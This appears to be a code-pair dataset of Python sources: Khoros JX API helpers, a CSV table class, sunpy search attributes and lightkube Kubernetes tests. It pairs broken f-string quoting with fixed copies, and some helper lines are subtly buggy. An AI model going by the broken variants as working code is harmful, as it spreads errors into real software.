if query_url and not query_url.startswith('http'):
query_url = f"{base_url}{query_url}" if query_url.startswith('/') else f"{base_url}/{query_url}"
return query_url
def get_request_with_retries(query_url, return_json=False, verify_ssl=True):
"""This function performs a GET request with a total of 5 retries in case of timeouts or connection issues.
.. versionchanged:: 3.2.0
The query URL is now made into an absolute URL as necessary before performing the API request.
.. versionchanged:: 3.1.0
Refactored the function to be more efficient.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param query_url: The URI to be queried
:type query_url: str
:param return_json: Determines whether or not the response should be returned in JSON format (Default: ``False``)
:type return_json: bool
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The API response from the GET request (optionally in JSON format)
:raises: :py:exc:`ValueError`, :py:exc:`TypeError`, :py:exc:`khorosjx.errors.exceptions.APIConnectionError`
"""
# Verify that the connection has been established
verify_connection()
# Prepare the query URL
query_url = ensure_absolute_url(query_url)
# Perform the GET request
retries, response = 0, None
while retries <= 5:
try:
response = requests.get(query_url, auth=api_credentials, verify=verify_ssl)
break
except Exception as e:
current_attempt = f"(Attempt {retries} of 5)"
error_msg = f"The GET request failed with the exception below. {current_attempt}"
print(f"{error_msg}\n{e}\n")
retries += 1
if retries == 6:
failure_msg = "The API call was unable to complete successfully after five consecutive API timeouts " + \
"and/or failures. Please call the function again or contact Khoros Support."
raise errors.exceptions.APIConnectionError(failure_msg)
# Convert to JSON if specified
response = response.json() if return_json else response
return response
def get_base_url(api_base=True):
"""This function returns the base URL of the environment with or without the ``/api/core/v3/`` path appended.
.. versionchanged:: 3.1.0
Refactored the function to properly utilize the ``base_url`` global variable.
:param api_base: Determines if the ``/api/core/v3/`` path should be appended (``True`` by default)
:type api_base: bool
:returns: The base URL for the Khoros JX or Jive-n environment
"""
verify_connection()
global base_url
base_url = '' if not base_url else base_url
if not api_base:
base_url = base_url.split('/api')[0]
return base_url
def get_query_url(pre_endpoint, asset_id="", post_endpoint=""):
"""This function constructs an API query URL excluding any query strings.
.. versionchanged:: 3.1.0
Refactored the function to be more efficient.
:param pre_endpoint: The endpoint portion of the URL preceding any ID numbers (e.g. ``places``)
:type pre_endpoint: str
:param asset_id: The ID for an asset (e.g. User ID, Browse ID for a space/blog, etc.)
:type asset_id: str, int
:param post_endpoint: Any remaining endpoints following the ID number (e.g. ``contents``)
:type post_endpoint: str
:returns: The fully structured query URL
"""
# TODO: Include parameter to make the query URL absolute
# Verify that the connection has been established
verify_connection()
# Construct and return the query URL
if pre_endpoint[-1:] == '/':
pre_endpoint = pre_endpoint[:-1]
query_url = f"{base_url}/{pre_endpoint}"
for section in (asset_id, post_endpoint):
if not isinstance(section, str):
section = str(section)
if section:
if section[-1:] == '/':
section = section[:1]
section = f"/{section}"
query_url += section
return query_url
def get_data(endpoint, lookup_value, identifier='id', return_json=False, ignore_exceptions=False, all_fields=False,
verify_ssl=True):
"""This function returns data for a specific API endpoint.
.. versionchanged:: 3.1.0
Fixed how the ``query_url`` variable is defined to proactively avoid raising any :py:exc:`NameError` exceptions.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param endpoint: The API endpoint against which to request data (e.g. ``people``, ``contents``, etc.)
:type endpoint: str
:param lookup_value: The value to use to look up the endpoint data
:type lookup_value: int, str
:param identifier: The type of lookup value used to look up the endpoint data (Default: ``id``)
:type identifier: str
:param return_json: Determines if the data should be returned in default or JSON format (Default: ``False``)
:type return_json: bool
:param ignore_exceptions: Determines whether nor not exceptions should be ignored (Default: ``False``)
:type ignore_exceptions: bool
:param all_fields: Determines whether or not the ``fields=@all`` query should be included (Default: ``False``)
:type all_fields: bool
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The API response either as a requests response or in JSON format depending on the ``return_json`` value
:raises: :py:exc:`khorosjx.errors.exceptions.GETRequestError`
"""
# Verify that the connection has been established
verify_connection()
# Define the endpoint if an appropriate one is supplied
available_endpoints = ['abuseReports', 'acclaim', 'actions', 'activities', 'addOns', 'announcements', 'attachments',
'calendar', 'checkpoints', 'collaborations', 'comments', 'contents', 'deletedObjects', 'dms',
'events', 'eventTypes', 'executeBatch', 'extprops', 'extstreamDefs', 'extstreams',
'ideaVotes', 'images', 'inbox', 'invites', 'members', 'mentions', 'messages', 'moderation',
'oembed', 'outcomes', 'pages', 'people', 'places', 'placeTemplateCategories',
'placeTemplates', 'placeTopics', 'profileImages', 'publications', 'questions', 'rsvp',
'search', 'sections', 'securityGroups', 'shares', 'slides', 'stages', 'statics',
'streamEntries', 'streams', 'tags', 'tileDefs', 'tiles', 'urls', 'versions', 'videos',
'vitals', 'votes', 'webhooks'
]
query_url = f"{base_url}/{endpoint}" if endpoint in available_endpoints else None
if not query_url:
raise errors.exceptions.InvalidEndpointError()
# Define the identifier type for the lookup value
if identifier == "id":
query_url += f"/{lookup_value}"
elif identifier == "email" or identifier == "username":
invalid_endpoint_msg = f"The identifier '{identifier}' is only accepted with the people endpoint."
if endpoint != "people":
raise errors.exceptions.InvalidLookupTypeError(invalid_endpoint_msg)
else:
if identifier == "email":
query_url += f"/email/{lookup_value}"
elif identifier == "username":
query_url += f"/username/{lookup_value}"
else:
unrecognized_endpoint_msg = f"The identifier '{identifier}' is unrecognized."
if not ignore_exceptions:
raise errors.exceptions.InvalidLookupTypeError(unrecognized_endpoint_msg)
unrecognized_endpoint_retry_msg = f"{unrecognized_endpoint_msg} " + \
"The function will attempt to use the default 'id' identifier."
eprint(unrecognized_endpoint_retry_msg)
query_url += f"/{lookup_value}"
# Append the fields=@all query if requested
query_url += "?fields=@all" if all_fields else query_url
# Perform the GET request with retries to account for any timeouts
response = get_request_with_retries(query_url, verify_ssl=verify_ssl)
# Error out if the response isn't successful
if response.status_code != 200:
error_msg = f"The query failed with a {response.status_code} status code and the following error: " + \
f"{response.text}"
if ignore_exceptions:
print(error_msg)
if return_json:
empty_json = {}
response = convert_dict_to_json(empty_json)
else:
raise errors.exceptions.GETRequestError(error_msg)
response = response.json() if return_json else response
return response
def _api_request_with_payload(_url, _json_payload, _request_type, _verify_ssl=True):
"""This function performs an API request while supplying a JSON payload.
.. versionchanged:: 3.2.0
The query URL is now made into an absolute URL as necessary before performing the API request.
.. versionchanged:: 3.1.0
Included the name of the raised exception in the error message.
.. versionchanged:: 2.6.0
Added the ``_verify_ssl`` argument.
:param _url: The query URL to be leveraged in the API call
:type _url: str
:param _json_payload: The payload for the API call in JSON format
:type _json_payload: dict
:param _request_type: Defines if the API call will be a ``put`` or ``post`` request
:type _request_type: str
:param _verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type _verify_ssl: bool
:returns: The API response
:raises: :py:exc:`khorosjx.errors.exceptions.InvalidRequestTypeError`,
:py:exc:`khorosjx.errors.exceptions.APIConnectionError`
"""
# Prepare the query URL
_url = ensure_absolute_url(_url)
# Perform the API request
_retries, _response = 0, None
while _retries <= 5:
try:
_headers = {"Content-Type": "application/json", "Accept": "application/json"}
if _request_type.lower() == "put":
_response = requests.put(_url, data=json.dumps(_json_payload, default=str), auth=api_credentials,
headers=_headers, verify=_verify_ssl)
elif _request_type.lower() == "post":
_response = requests.post(_url, data=json.dumps(_json_payload, default=str), auth=api_credentials,
headers=_headers, verify=_verify_ssl)
else:
raise errors.exceptions.InvalidRequestTypeError()
break
except Exception as _api_exception:
_exc_type = type(_api_exception).__name__
_current_attempt = f"(Attempt {_retries} of 5)"
_error_msg = f"The {_request_type.upper()} request has failed with the following exception: " + \
f"{_exc_type} - {_api_exception} {_current_attempt}"
print(_error_msg)
_retries += 1
pass
if _retries == 6:
_failure_msg = "The script was unable to complete successfully after five consecutive API timeouts. " + \
"Please run the script again or contact Khoros or Aurea Support for further assistance."
raise errors.exceptions.APIConnectionError(_failure_msg)
return _response
def post_request_with_retries(url, json_payload, verify_ssl=True):
"""This function performs a POST request with a total of 5 retries in case of timeouts or connection issues.
.. versionchanged:: 3.2.0
The query URL is now made into an absolute URL as necessary before performing the API request.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param url: The URI to be queried
:type url: str
:param json_payload: The payload for the POST request in JSON format
:type json_payload: dict
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The API response from the POST request
:raises: :py:exc:`ValueError`, :py:exc:`khorosjx.errors.exceptions.APIConnectionError`,
:py:exc:`khorosjx.errors.exceptions.POSTRequestError`
"""
url = ensure_absolute_url(url)
response = _api_request_with_payload(url, json_payload, 'post', verify_ssl)
return response
def put_request_with_retries(url, json_payload, verify_ssl=True):
"""This function performs a PUT request with a total of 5 retries in case of timeouts or connection issues.
.. versionchanged:: 3.2.0
The query URL is now made into an absolute URL as necessary before performing the API request.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param url: The URI to be queried
:type url: str
:param json_payload: The payload for the PUT request in JSON format
:type json_payload: dict
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The API response from the PUT request
:raises: :py:exc:`ValueError`, :py:exc:`khorosjx.errors.exceptions.APIConnectionError`,
:py:exc:`khorosjx.errors.exceptions.PUTRequestError`
"""
url = ensure_absolute_url(url)
response = _api_request_with_payload(url, json_payload, 'put', verify_ssl)
return response
def delete(uri, return_json=False, verify_ssl=True):
"""This function performs a DELETE request against the Core API.
.. versionchanged:: 3.2.0
The query URL is now made into an absolute URL as necessary before performing the API request.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param uri: The URI against which the DELETE request will be issued
:type uri: str
:param return_json: Determines whether or not the response should be returned in JSON format (Default: ``False``)
:type return_json: bool
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The API response from the DELETE request (optionally in JSON format)
"""
uri = ensure_absolute_url(uri)
response = requests.delete(uri, auth=api_credentials, verify=verify_ssl)
if return_json:
response = response.json()
return response
def get_fields_from_api_response(json_data, dataset, return_fields=None, quiet=False):
"""This function parses and retrieves fields from an API response from a specific dataset.
.. versionchanged:: 3.1.0
Changed the default ``return_fields`` value to ``None`` and adjusted the function accordingly.
.. versionchanged:: 2.6.0
Added conditional to ensure ``quiet`` is ``False`` before calling the ``stderr`` print statement.
.. versionchanged:: 2.5.3
Fixed the ``email.value`` filter and added the optional ``quiet`` argument.
:param json_data: The JSON data from an API response
:type json_data: dict
:param dataset: The nickname of a dataset from which fields should be retrieved (e.g. ``people``, ``group_admins``)
:type dataset: str
:param return_fields: The fields that should be returned from the API response (Default: all fields in dataset)
:type return_fields: list, None
:param quiet: Silences any errors about being unable to locate API fields (``False`` by default)
:type quiet: bool
:returns: A dictionary with the field names and corresponding values
:raises: :py:exc:`khorosjx.errors.exceptions.InvalidDatasetError`
"""
# Define the empty dictionary for data to return
fields_data = {}
# Define the fields that should be returned for the data
fields_to_return = return_fields if return_fields else []
if not fields_to_return:
# Get the default return fields for the dataset
if dataset not in Content.datasets:
error_msg = f"The supplied value '{dataset}' is not a valid dataset."
raise errors.exceptions.InvalidDatasetError(error_msg)
fields_to_return = Content.datasets.get(dataset)
# Get and return the fields and corresponding values
for field in fields_to_return:
field_not_found = False
try:
if field in json_data:
fields_data[field] = json_data[field]
elif field == "email.value":
fields_data[field] = json_data['emails'][0]['value']
elif field == "name.formatted":
fields_data[field] = json_data['name']['formatted']
elif field == "jive.lastAuthenticated":
fields_data[field] = json_data['jive']['lastAuthenticated']
elif field == "jive.externalIdentities.identityType":
fields_data[field] = json_data['jive']['externalIdentities'][0]['identityType']
elif field == "jive.externalIdentities.identity":
fields_data[field] = json_data['jive']['externalIdentities'][0]['identity']
elif field == "jive.username":
fields_data[field] = json_data['jive']['username']
elif field == "jive.status":
fields_data[field] = json_data['jive']['status']
elif field == "resources.html.ref":
fields_data[field] = json_data['resources']['html']['ref']
else:
field_not_found = True
except (IndexError, KeyError):
field_not_found = True
if field_not_found and not quiet:
eprint(f"Unable to locate the '{field}' field in the API response data.")
return fields_data
def _get_filter_syntax(_filter_info, _prefix=True):
"""This function retrieves the proper filter syntax for an API call."""
if type(_filter_info) != tuple and type(_filter_info) != list:
raise TypeError("Filter information must be provided as a tuple (element, criteria) or a list of tuples.")
elif type(_filter_info) == tuple:
_filter_info = [_filter_info]
_syntax = ""
if len(_filter_info[0]) > 0:
_define_prefix = {True: '&', False: ''}
_syntax_prefix = _define_prefix.get(_prefix)
for _filter_tuple in _filter_info:
_element, _criteria = _filter_tuple
_syntax = f"{_syntax_prefix}filter={_element}({_criteria})&"
_syntax = _syntax[:-1]
return _syntax
def get_paginated_results(query, response_data_type, start_index=0, filter_info=(), query_all=True,
return_fields=None, ignore_exceptions=False, quiet=False, verify_ssl=True):
"""This function performs a GET request for a single paginated response up to 100 records.
.. versionchanged:: 3.1.0
Changed the default ``return_fields`` value to ``None`` and adjusted the function accordingly.
.. versionchanged:: 2.6.0
Added the ``verify_ssl`` argument.
:param query: The API query without the query string
:type query: str
:param response_data_type: The dataset of fields that will be in the API response (e.g. ``group_members``)
:type response_data_type: str
:param start_index: The startIndex value in the API query string (``0`` by default)
:type start_index: int, str
:param filter_info: A tuple of list of tuples containing the filter element and criteria (Optional)
:type filter_info: tuple, list
:param query_all: Determines if ``fields=@all`` filter should be included in the query string (Default: ``True``)
:type query_all: bool
:param return_fields: The fields that should be returned from the API response (Default: all fields in dataset)
:type return_fields: list, None
:param ignore_exceptions: Determines whether nor not exceptions should be ignored (Default: ``False``)
:type ignore_exceptions: bool
:param quiet: Silences any errors about being unable to locate API fields (``False`` by default)
:type quiet: bool
:param verify_ssl: Determines if API calls should verify SSL certificates (``True`` by default)
:type verify_ssl: bool
:returns: The queried data as a list comprised of dictionaries
:raises: :py:exc:`khorosjx.errors.exceptions.GETRequestError`
"""
# Initialize the empty list for the aggregate data
aggregate_data = []
# Construct the full API query
fields_filter = ""
if query_all:
fields_filter = "fields=@all&"
if '?' in query:
# Strip out the query string if present to prevent interference with the query string to be added
query = query.split("?")[0]
other_filters = _get_filter_syntax(filter_info, _prefix=True)
full_query = f"{query}?{fields_filter}count=100&startIndex={start_index}{other_filters}"
# Perform the API query to retrieve the information
response = get_request_with_retries(full_query, verify_ssl=verify_ssl)
# Verify that the query was successful
successful_response = errors.handlers.check_api_response(response, ignore_exceptions=ignore_exceptions)
if successful_response:
# Get the response data in JSON format
paginated_data = response.json()
for data in paginated_data['list']:
# Parse and append the data
parsed_data = get_fields_from_api_response(data, response_data_type, return_fields, quiet)
aggregate_data.append(parsed_data)
return aggregate_data
|
import os
import pandas as pd
class tabledb:
def __init__(self,db_name):
self.db_name = db_name
if not os.path.exists(db_name):os.mkdir(db_name)
def create_table(self,**kwargs):
if 'name' in kwargs and 'colums' in kwargs and isinstance(kwargs['name'],str) and isinstance(kwargs['colums'],list):
file_path = os.path.join(self.db_name,f"{kwargs["name"]}.csv");kwargs['colums'].insert(0,'un_id')
if not os.path.exists(file_path):
df = pd.DataFrame(columns = kwargs['colums'])
df.to_csv(file_path,index=False, sep=',',encoding='utf-8')
else:
return "PATH ALREADY EXIST"
else:
return "NOT PROPER METHOD"
def re_config_table(self,**kwargs):
if 'name' in kwargs:
if isinstance(kwargs['name'],dict):
file_path = os.path.join(self.db_name,f"{list(kwargs["name"])[0]}.csv")
if os.path.exists(file_path):os.rename(file_path,os.path.join(self.db_name,f"{kwargs["name"][list(kwargs["name"])[0]]}.csv"))
if isinstance(kwargs['name'],str):
file_path = os.path.join(self.db_name,f"{kwargs["name"]}.csv");df=pd.read_csv(file_path)
if 'colums' in kwargs and isinstance(kwargs['colums'],dict):
df = df.rename(kwargs['colums'], axis='columns')
df.to_csv(file_path,index=False,mode='w', sep=',',encoding='utf-8')
else:return "TABLE NOT FOUND"
db = tabledb('shivjeet')
#db.create_table(name="yes",colums=["naam","no","yo"])
db.re_config_table(name="yes",colums={"NAME":"Name","ADM-NUMBER":"Admission-no","YEAR":"Year"})
| import os
import pandas as pd
class tabledb:
def __init__(self,db_name):
self.db_name = db_name
if not os.path.exists(db_name):os.mkdir(db_name)
def create_table(self,**kwargs):
if 'name' in kwargs and 'colums' in kwargs and isinstance(kwargs['name'],str) and isinstance(kwargs['colums'],list):
file_path = os.path.join(self.db_name,f"{kwargs['name']}.csv");kwargs['colums'].insert(0,'un_id')
if not os.path.exists(file_path):
df = pd.DataFrame(columns = kwargs['colums'])
df.to_csv(file_path,index=False, sep=',',encoding='utf-8')
else:
return "PATH ALREADY EXIST"
else:
return "NOT PROPER METHOD"
def re_config_table(self,**kwargs):
if 'name' in kwargs:
if isinstance(kwargs['name'],dict):
file_path = os.path.join(self.db_name,f"{list(kwargs['name'])[0]}.csv")
if os.path.exists(file_path):os.rename(file_path,os.path.join(self.db_name,f"{kwargs['name'][list(kwargs['name'])[0]]}.csv"))
if isinstance(kwargs['name'],str):
file_path = os.path.join(self.db_name,f"{kwargs['name']}.csv");df=pd.read_csv(file_path)
if 'colums' in kwargs and isinstance(kwargs['colums'],dict):
df = df.rename(kwargs['colums'], axis='columns')
df.to_csv(file_path,index=False,mode='w', sep=',',encoding='utf-8')
else:return "TABLE NOT FOUND"
db = tabledb('shivjeet')
#db.create_table(name="yes",colums=["naam","no","yo"])
db.re_config_table(name="yes",colums={"NAME":"Name","ADM-NUMBER":"Admission-no","YEAR":"Year"})
|
"""
Implementation of global attrs.
These are defined in here to keep the `sunpy.net.attrs` namespace clean, and to
prevent circular imports.
"""
import collections
import astropy.units as u
from sunpy.time import TimeRange, parse_time
from sunpy.time.time import _variables_for_parse_time_docstring
from sunpy.util.decorators import add_common_docstring
from .attr import Range, SimpleAttr
__all__ = ['Physobs', 'Resolution', 'Detector', 'Sample',
'Level', 'Instrument', 'Wavelength', 'Time']
@add_common_docstring(**_variables_for_parse_time_docstring())
class Time(Range):
"""
Specify the time range of the query.
Parameters
----------
start : {parse_time_types}
The start time in a format parseable by `~sunpy.time.parse_time` or
a `sunpy.time.TimeRange` object.
end : {parse_time_types}
The end time of the range.
near : {parse_time_types}
Return a singular record closest in time to this value as possible,
inside the start and end window. Note: not all providers support this
functionality.
"""
def __init__(self, start, end=None, near=None):
if end is None and not isinstance(start, TimeRange):
raise ValueError("Specify start and end or start has to be a TimeRange")
if isinstance(start, TimeRange):
self.start = start.start
self.end = start.end
else:
self.start = parse_time(start)
self.end = parse_time(end)
if self.start > self.end:
raise ValueError("End time must be after start time.")
self.near = None if near is None else parse_time(near)
super().__init__(self.start, self.end)
def __hash__(self):
if not (isinstance(self.start, collections.Hashable) and
isinstance(self.end, collections.Hashable)):
# The hash is the hash of the start and end time
return hash((self.start.jd1, self.start.jd2, self.start.scale,
self.end.jd1, self.end.jd2, self.end.scale))
else:
return super().__hash__()
def collides(self, other):
# Use exact type checking here, because otherwise it collides with all
# subclasses of itself which can have completely different search
# meanings.
return type(other) is type(self)
def __xor__(self, other):
if not isinstance(other, self.__class__):
raise TypeError
if self.near is not None or other.near is not None:
raise TypeError
return Range.__xor__(self, other)
def pad(self, timedelta):
return type(self)(self.start - timedelta, self.start + timedelta)
def __repr__(self):
return f'<sunpy.net.attrs.Time({self.start.iso}, {self.end.iso}{', ' + self.near.iso if self.near else ''})>'
class Wavelength(Range):
def __init__(self, wavemin, wavemax=None):
"""
Specifies the wavelength or spectral energy range of the detector.
Parameters
----------
wavemin : `~astropy.units.Quantity`
The lower bounds of the range.
wavemax : `~astropy.units.Quantity`
The upper bound of the range, if not specified it will default to
the lower bound.
Notes
-----
The VSO understands the 'wavelength' in one of three units, Angstroms,
kHz or keV. Therefore any unit which is directly convertible to these
units is valid input.
"""
if wavemax is None:
wavemax = wavemin
if not all(isinstance(var, u.Quantity) for var in [wavemin, wavemax]):
raise TypeError("Wave inputs must be astropy Quantities")
if not all([wavemin.isscalar, wavemax.isscalar]):
raise ValueError("Both wavemin and wavemax must be scalar values")
# VSO just accept inputs as Angstroms, kHz or keV, the following
# converts to any of these units depending on the spectral inputs
# Note: the website asks for GHz, however it seems that using GHz
# produces weird responses on VSO.
supported_units = [u.AA, u.kHz, u.keV]
for unit in supported_units:
if wavemin.unit.is_equivalent(unit):
break
else:
unit = None
if unit is None:
raise u.UnitsError(f"This unit is not convertable to any of {supported_units}")
wavemin, wavemax = sorted([wavemin.to(unit), wavemax.to(unit)])
self.unit = unit
super().__init__(wavemin, wavemax)
def collides(self, other):
return isinstance(other, self.__class__)
def __repr__(self):
return f"<sunpy.net.attrs.Wavelength({self.min.value}, {self.max.value}, '{self.unit}')>"
class Instrument(SimpleAttr):
"""
Specifies the Instrument name for the search.
Parameters
----------
value : `str`
Notes
-----
More information about each instrument supported by the VSO may be found
within the VSO Registry. For a list of instruments see
https://sdac.virtualsolar.org/cgi/show_details?keyword=INSTRUMENT.
"""
def __init__(self, value):
if not isinstance(value, str):
raise ValueError("Instrument names must be strings")
super().__init__(value)
class Level(SimpleAttr):
"""
Specifies the data processing level to search for. The data processing
level is specified by the instrument PI. May not work with all archives.
Parameters
----------
value : `float` or `str`
The value can be entered in of three ways:
# . May be entered as a string or any numeric type for equality matching
# . May be a string of the format '(min) - (max)' for range matching
# . May be a string of the form '(operator) (number)' where operator is\
one of: lt gt le ge < > <= >=
"""
class Sample(SimpleAttr):
"""
Time interval for data sampling.
Parameters
----------
value : `astropy.units.Quantity`
A sampling rate convertible to seconds.
"""
@u.quantity_input
def __init__(self, value: u.s):
super().__init__(value)
self.value = value.to_value(u.s)
class Detector(SimpleAttr):
"""
The detector from which the data comes from.
Parameters
----------
value : `str`
"""
class Resolution(SimpleAttr):
"""
Resolution level of the data.
Parameters
----------
value : `float` or `str`
The value can be entered in of three ways:
#. May be entered as a string or any numeric type for equality matching
#. May be a string of the format '(min) - (max)' for range matching
#. May be a string of the form '(operator) (number)' where operator is\
one of: lt gt le ge < > <= >=
This attribute is currently implemented for SDO/AIA and HMI only.
The "resolution" is a function of the highest level of data available.
If the CCD is 2048x2048, but is binned to 512x512 before downlink,
the 512x512 product is designated as '1'. If a 2048x2048 and 512x512
product are both available, the 512x512 product is designated '0.25'.
References
----------
Documentation in SSWIDL routine vso_search.pro.
"""
class Physobs(SimpleAttr):
"""
Specifies the physical observable the VSO can search for.
Parameters
----------
value : `str`
A keyword describing the observable in the data.
Notes
-----
More information about the values of physobs used by the VSO
registry can be found at
https://sdac.virtualsolar.org/cgi/show_details?keyword=PHYSOBS.
"""
| """
Implementation of global attrs.
These are defined in here to keep the `sunpy.net.attrs` namespace clean, and to
prevent circular imports.
"""
import collections
import astropy.units as u
from sunpy.time import TimeRange, parse_time
from sunpy.time.time import _variables_for_parse_time_docstring
from sunpy.util.decorators import add_common_docstring
from .attr import Range, SimpleAttr
__all__ = ['Physobs', 'Resolution', 'Detector', 'Sample',
'Level', 'Instrument', 'Wavelength', 'Time']
@add_common_docstring(**_variables_for_parse_time_docstring())
class Time(Range):
"""
Specify the time range of the query.
Parameters
----------
start : {parse_time_types}
The start time in a format parseable by `~sunpy.time.parse_time` or
a `sunpy.time.TimeRange` object.
end : {parse_time_types}
The end time of the range.
near : {parse_time_types}
Return a singular record closest in time to this value as possible,
inside the start and end window. Note: not all providers support this
functionality.
"""
def __init__(self, start, end=None, near=None):
if end is None and not isinstance(start, TimeRange):
raise ValueError("Specify start and end or start has to be a TimeRange")
if isinstance(start, TimeRange):
self.start = start.start
self.end = start.end
else:
self.start = parse_time(start)
self.end = parse_time(end)
if self.start > self.end:
raise ValueError("End time must be after start time.")
self.near = None if near is None else parse_time(near)
super().__init__(self.start, self.end)
def __hash__(self):
if not (isinstance(self.start, collections.Hashable) and
isinstance(self.end, collections.Hashable)):
# The hash is the hash of the start and end time
return hash((self.start.jd1, self.start.jd2, self.start.scale,
self.end.jd1, self.end.jd2, self.end.scale))
else:
return super().__hash__()
def collides(self, other):
# Use exact type checking here, because otherwise it collides with all
# subclasses of itself which can have completely different search
# meanings.
return type(other) is type(self)
def __xor__(self, other):
if not isinstance(other, self.__class__):
raise TypeError
if self.near is not None or other.near is not None:
raise TypeError
return Range.__xor__(self, other)
def pad(self, timedelta):
return type(self)(self.start - timedelta, self.start + timedelta)
def __repr__(self):
return f'<sunpy.net.attrs.Time({self.start.iso}, {self.end.iso}{", " + self.near.iso if self.near else ""})>'
class Wavelength(Range):
def __init__(self, wavemin, wavemax=None):
"""
Specifies the wavelength or spectral energy range of the detector.
Parameters
----------
wavemin : `~astropy.units.Quantity`
The lower bounds of the range.
wavemax : `~astropy.units.Quantity`
The upper bound of the range, if not specified it will default to
the lower bound.
Notes
-----
The VSO understands the 'wavelength' in one of three units, Angstroms,
kHz or keV. Therefore any unit which is directly convertible to these
units is valid input.
"""
if wavemax is None:
wavemax = wavemin
if not all(isinstance(var, u.Quantity) for var in [wavemin, wavemax]):
raise TypeError("Wave inputs must be astropy Quantities")
if not all([wavemin.isscalar, wavemax.isscalar]):
raise ValueError("Both wavemin and wavemax must be scalar values")
# VSO just accept inputs as Angstroms, kHz or keV, the following
# converts to any of these units depending on the spectral inputs
# Note: the website asks for GHz, however it seems that using GHz
# produces weird responses on VSO.
supported_units = [u.AA, u.kHz, u.keV]
for unit in supported_units:
if wavemin.unit.is_equivalent(unit):
break
else:
unit = None
if unit is None:
raise u.UnitsError(f"This unit is not convertable to any of {supported_units}")
wavemin, wavemax = sorted([wavemin.to(unit), wavemax.to(unit)])
self.unit = unit
super().__init__(wavemin, wavemax)
def collides(self, other):
return isinstance(other, self.__class__)
def __repr__(self):
return f"<sunpy.net.attrs.Wavelength({self.min.value}, {self.max.value}, '{self.unit}')>"
class Instrument(SimpleAttr):
"""
Specifies the Instrument name for the search.
Parameters
----------
value : `str`
Notes
-----
More information about each instrument supported by the VSO may be found
within the VSO Registry. For a list of instruments see
https://sdac.virtualsolar.org/cgi/show_details?keyword=INSTRUMENT.
"""
def __init__(self, value):
if not isinstance(value, str):
raise ValueError("Instrument names must be strings")
super().__init__(value)
class Level(SimpleAttr):
"""
Specifies the data processing level to search for. The data processing
level is specified by the instrument PI. May not work with all archives.
Parameters
----------
value : `float` or `str`
The value can be entered in of three ways:
# . May be entered as a string or any numeric type for equality matching
# . May be a string of the format '(min) - (max)' for range matching
# . May be a string of the form '(operator) (number)' where operator is\
one of: lt gt le ge < > <= >=
"""
class Sample(SimpleAttr):
"""
Time interval for data sampling.
Parameters
----------
value : `astropy.units.Quantity`
A sampling rate convertible to seconds.
"""
@u.quantity_input
def __init__(self, value: u.s):
super().__init__(value)
self.value = value.to_value(u.s)
class Detector(SimpleAttr):
"""
The detector from which the data comes from.
Parameters
----------
value : `str`
"""
class Resolution(SimpleAttr):
"""
Resolution level of the data.
Parameters
----------
value : `float` or `str`
The value can be entered in of three ways:
#. May be entered as a string or any numeric type for equality matching
#. May be a string of the format '(min) - (max)' for range matching
#. May be a string of the form '(operator) (number)' where operator is\
one of: lt gt le ge < > <= >=
This attribute is currently implemented for SDO/AIA and HMI only.
The "resolution" is a function of the highest level of data available.
If the CCD is 2048x2048, but is binned to 512x512 before downlink,
the 512x512 product is designated as '1'. If a 2048x2048 and 512x512
product are both available, the 512x512 product is designated '0.25'.
References
----------
Documentation in SSWIDL routine vso_search.pro.
"""
class Physobs(SimpleAttr):
"""
Specifies the physical observable the VSO can search for.
Parameters
----------
value : `str`
A keyword describing the observable in the data.
Notes
-----
More information about the values of physobs used by the VSO
registry can be found at
https://sdac.virtualsolar.org/cgi/show_details?keyword=PHYSOBS.
"""
|
import time
from datetime import datetime
import pytest
from lightkube import Client, ApiError, AsyncClient
from lightkube.types import PatchType
from lightkube.resources.core_v1 import Pod, Node, ConfigMap, Service, Namespace
from lightkube.resources.apps_v1 import Deployment
from lightkube.models.meta_v1 import ObjectMeta
from lightkube.models.core_v1 import PodSpec, Container, ServiceSpec, ServicePort
uid_count = 0
@pytest.fixture
def obj_name():
global uid_count
uid_count += 1
return f'test-{datetime.utcnow().strftime('%Y%m%d%H%M%S')}-{uid_count}'
def names(obj_list):
return [obj.metadata.name for obj in obj_list]
def create_pod(name, command) -> Pod:
return Pod(
metadata=ObjectMeta(name=name, labels={'app-name': name}),
spec=PodSpec(containers=[Container(
name='main',
image='busybox',
args=[
"/bin/sh",
"-c",
command
],
)], terminationGracePeriodSeconds=1)
)
def wait_pod(client, pod):
# watch pods
for etype, pod in client.watch(Pod, labels={'app-name': pod.metadata.name},
resource_version=pod.metadata.resourceVersion):
if pod.status.phase != 'Pending':
break
def test_pod_apis(obj_name):
client = Client()
# list kube-system namespace
pods = [pod.metadata.name for pod in client.list(Pod, namespace='kube-system')]
assert len(pods) > 0
assert any(name.startswith('metrics-server') for name in pods)
# create a pod
pod = client.create(create_pod(obj_name, "while true;do echo 'this is a test';sleep 5; done"))
try:
assert pod.metadata.name == obj_name
assert pod.metadata.namespace == client.namespace
assert pod.status.phase
wait_pod(client, pod)
# read pod logs
for l in client.log(obj_name, follow=True):
assert l == 'this is a test\n'
break
finally:
# delete the pod
client.delete(Pod, obj_name)
def test_pod_not_exist():
client = Client()
with pytest.raises(ApiError) as exc_info:
client.get(Pod, name='this-pod-is-not-found')
status = exc_info.value.status
assert status.code == 404
assert status.details.name == 'this-pod-is-not-found'
assert status.reason == 'NotFound'
assert status.status == 'Failure'
def test_pod_already_exist(obj_name):
client = Client()
client.create(create_pod(obj_name, "sleep 5"))
try:
with pytest.raises(ApiError) as exc_info:
client.create(create_pod(obj_name, "sleep 5"))
status = exc_info.value.status
assert status.code == 409
assert status.reason == 'AlreadyExists'
assert status.status == 'Failure'
finally:
# delete the pod
client.delete(Pod, obj_name)
def test_global_methods():
client = Client()
nodes = [node.metadata.name for node in client.list(Node)]
assert len(nodes) > 0
node = client.get(Node, name=nodes[0])
assert node.metadata.name == nodes[0]
